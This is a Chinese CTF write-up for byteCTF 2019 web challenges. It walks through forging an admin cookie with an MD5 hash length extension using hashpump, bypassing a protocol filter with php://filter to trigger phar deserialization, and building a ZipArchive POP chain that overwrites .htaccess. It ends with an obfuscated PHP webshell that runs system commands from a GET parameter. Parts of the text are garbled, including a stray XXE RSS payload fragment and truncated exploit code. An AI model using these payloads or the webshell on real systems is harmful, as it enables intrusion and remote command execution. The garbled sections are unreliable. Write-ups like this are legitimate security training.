byteCTF 2019
阅读原文时间:2023年07月08日阅读:2

本文作者:z3r0yu  由“合天智汇”公众号首发,未经允许,禁止转载!

周末的比赛质量还是挺高的,特别是boring_code,有点烧脑但是做的就很开心。

题目描述

http://112.125.25.2:9999

题目解答

题目上来的邮件源码中给了提示,所以直接分析目录得到了对应的程序源码

\]> 先知安全技术社区 http://xz.aliyun.com/forum/ 先知安全技术社区 zh-hans Tue, 02 Jul 2019 06:03:00 +0800 &test;http://xz.aliyun.com/t/5514利用Excel power query实现远程DDE执行Tue, 02 Jul 2019 06:03:00 +0800http://xz.aliyun.com/t/5514 CVE-2019-0221—Apache Tomcat SSI printenv指令中的XSShttp://xz.aliyun.com/t/5310CVE-2019-0221—Apache Tomcat SSI printenv指令中的XSSMon, 03 Jun 2019 09:09:00 +0800http://xz.aliyun.com/t/5310  ![](https://article.cdnof.com/2307/2526a8cb-a6a4-4ee3-938c-f68c1b8ea36e.png) (注:想掌握XXE漏洞的原理,学会XXE漏洞利用技术以及防御方法,可来合天网安实验室操作实验——[XXE漏洞攻击与防御](http://www.hetianlab.com/cour.do?w=1&c=CCIDc75d-d37a-42d4-878b-6f130c004ad2)) #### **题目描述** http://112.126.102.158:9999 #### **题目解答** 首先是一个源码泄露 112.126.102.158:9999/www.zip 看到`config.php`中的`is_admin`函数时,就基本可以判断,此处可以使用hash扩展攻击bypass function is\_admin(){ $secret = "\*\*\*\*\*\*\*\*"; $username = $\_SESSION\['username'\]; $password = $\_SESSION\['password'\]; if ($username == "admin" && $password != "admin"){ if ($\_COOKIE\['user'\] === md5($secret.$username.$password)){ return 1; } } return 0; } 哈希长度扩展攻击的一般利用步骤如下: * 知道`md5($secret.$username.$password)`的值 * 知道`$SECRET`的长度 * 我们可以算出另外一个 md5 值和另外一个user的值,使得`$COOKIE['user'] == md5($secret.$username.$password)` 所以首先输入任意密码登录后在cookie中获取到对应的hash document.cookie "PHPSESSID=bodvgts7e1v6duqtcvq0miplul; hash=b1a9c01292d57c0d2010add7f8d10c41" 之后,因为要伪造的password的值为admin,所以对应的长度是 len($SECRET)+len($password)=13 最后使用`hashpump`伪造得到对应的值 Input Signature: b1a9c01292d57c0d2010add7f8d10c41 Input Data: admin Input Key Length: 13 Input Data to Add: zeroyu f27536145794288b2c1f94f0a62695a9 admin\\x80\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x90\\x00\\x00\\x00\\x00\\x00\\x00\\x00zeroyu 之后将`\x`换为`%`即可得到对应的payload admin%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%90%00%00%00%00%00%00%00zeroyu 之后就可以用admin的身份来上传文件了 从代码中可以看到,webapp是自己生成了一个`.htaccess`文件来阻止对我们shell的解析,所以我们的目标就是覆盖或者删除这个文件。 有文件上传点,源码中有类,还有一个疑似可以触发phar反序列化的点,基本就可以判断这是一个反序列化漏洞。 大概看了一下官方手册,发现 `mime_content_type` 函数的实现,其实也是通过读取对应的文件来实现的,既然读文件就有可能会触发phar发序列化漏洞,之后本地测试发现的确可以触发。 前面的协议限制我们可以使用php伪协议来进行绕过 preg\_match('/^(phar|compress|compose.zlib|zip|rar|file|ftp|zlib|data|glob|ssh|expect)/i', $this->filepath) 对应的绕过 php://filter/read=convert.base64-encode/resource=phar://filename.phar 之后就是找一条pop链来完成对`.htaccess`的修改,最开始想使用`move_uploaded_file`函数将文件移走,但是后面发现`move_uploaded_file`的第一个参数必须是post传递的,因此失败。 后面就关注到Profile类`__call`函数 function \_\_call($name, $arguments) { $this->admin->open($this->username, $this->password); } 虽然webapp自身没有提供对应的函数,但是php系统中是否存在某个类可以完成文件修改的效果,所以顺着这个思路就找到了`ZipArchive::open` 对应的手册说明: https://www.php.net/manual/zh/ziparchive.open.php 所以最终构造出的exp如下 checker=new Profile(); $o->checker->admin=new ZipArchive(); $o->checker->username="./sandbox/f528764d624db129b32c21fbca0cb8d6/.htaccess"; $o->checker->password=ZIPARCHIVE::OVERWRITE; @unlink("phar.phar"); $phar = new Phar("phar.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub(""); //设置stub $phar->setMetadata($o); //将自定义的meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 //签名自动计算 $phar->stopBuffering(); ?>

之后我们本地动态调试一下这个链,可以看到是已经触发了的,并且触发之后.htaccess文件也被修改了

之后我们之后需要上传一个bypass限制的webshell,然后再触发反序列化删掉.htaccess文件即可getshell

<?php
$z="sys"."tem";
$z($_GET[0]);

哈希(Hash)相关内容学习可操作实验——哈希(Hash)长度扩展攻击。。